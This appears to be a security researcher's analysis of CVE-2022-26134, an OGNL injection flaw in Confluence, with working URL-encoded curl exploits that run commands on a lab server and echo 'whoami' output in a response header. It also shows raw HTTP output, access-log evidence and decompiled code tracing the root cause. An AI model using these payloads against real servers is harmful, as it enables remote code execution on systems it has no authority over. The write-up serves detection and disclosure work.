Active Exploitation of Confluence CVE-2022-26134

The vulnerability is an OGNL injection vulnerability affecting the HTTP server. The OGNL payload is placed in the URI of an HTTP request. Any type of HTTP method appears to work, whether valid (GET, POST, PUT, etc) or invalid (e.g. “BALH”). In its simplest form, an exploit abusing the vulnerability looks like this:

curl -v http://10.0.0.28:8090/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/r7%22%29%7D/
Above, the exploit is URL-encoded. The exploit encompasses everything from the start of the content location to the last instance of /. Decoded it looks like this:

${@[email protected]().exec(“touch /tmp/r7”)}
Evidence of exploitation can typically be found in access logs because the exploit is stored in the HTTP request field. For example, on our test Confluence (version 7.13.6 LTS), the log file /opt/atlassian/confluence/logs/conf_access_log..log contains the following entry after exploitation:

[02/Jun/2022:16:02:13 -0700] – http-nio-8090-exec-10 10.0.0.28 GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/r7%22%29%7D/ HTTP/1.1 302 20ms – – curl/7.68.0
Scanning for vulnerable servers is easy because exploitation allows attackers to force the server to send command output in the HTTP response. For example, the following request will return the response of whoami in the attacker-created X-Cmd-Response HTTP field (credit to Rapid7’s Brandon Turner for the exploit below). Note the X-Cmd-Response: confluence line in the HTTP response:

curl -v http://10.0.0.28:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
* Trying 10.0.0.28:8090…
* TCP_NODELAY set
* Connected to 10.0.0.28 (10.0.0.28) port 8090 (#0)
> GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
> Host: 10.0.0.28:8090
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 302
< Cache-Control: no-store
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
< X-Confluence-Request-Time: 1654212503090
< Set-Cookie: JSESSIONID=34154443DC363351DD0FE3D1EC3BEE01; Path=/; HttpOnly
< X-XSS-Protection: 1; mode=block
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
< Content-Security-Policy: frame-ancestors 'self'
< X-Cmd-Response: confluence
< Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
< Content-Type: text/html;charset=UTF-8
< Content-Length: 0
< Date: Thu, 02 Jun 2022 23:28:23 GMT
<
* Connection #0 to host 10.0.0.28 left intact
Decoding the exploit in the curl request shows how this is achieved. The exploit saves the output of the exec call and uses setHeader to include the result in the server’s response to the attacker.

${(#[email protected]@toString(@[email protected]().exec("whoami").getInputStream(),"utf-8")).(@[email protected]().setHeader("X-Cmd-Response",#a))}

Investigation led to the following partial call stack.

public class TextParseUtil {
public static String translateVariables(String expression, OgnlValueStack stack) {
StringBuilder sb = new StringBuilder();
Pattern p = Pattern.compile("\$\{([^}]*)\}");
Matcher m = p.matcher(expression);
int previous = 0;
while (m.find()) {
String str1, g = m.group(1);
int start = m.start();
try {
Object o = stack.findValue(g);
str1 = (o == null) ? "" : o.toString();
} catch (Exception ignored) {
str1 = "";
}
sb.append(expression.substring(previous, start)).append(str1);
previous = m.end();
}
if (previous < expression.length())
sb.append(expression.substring(previous));
return sb.toString();
}
}
ActionChainResult.class calls TextParseUtil.translateVariables using this.namespace as the provided expression:

public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
OgnlValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
Where namespace is created from the request URI string in com.opensymphony.webwork.dispatcher.ServletDispatcher.getNamespaceFromServletPath:

public static String getNamespaceFromServletPath(String servletPath) {
servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
return servletPath;
}
The result is that the attacker-provided URI will be translated into a namespace, which will then find its way down to OGNL expression evaluation.
At a high level, this is very similar to CVE-2018-11776, the Apache Struts2 namespace OGNL injection vulnerability.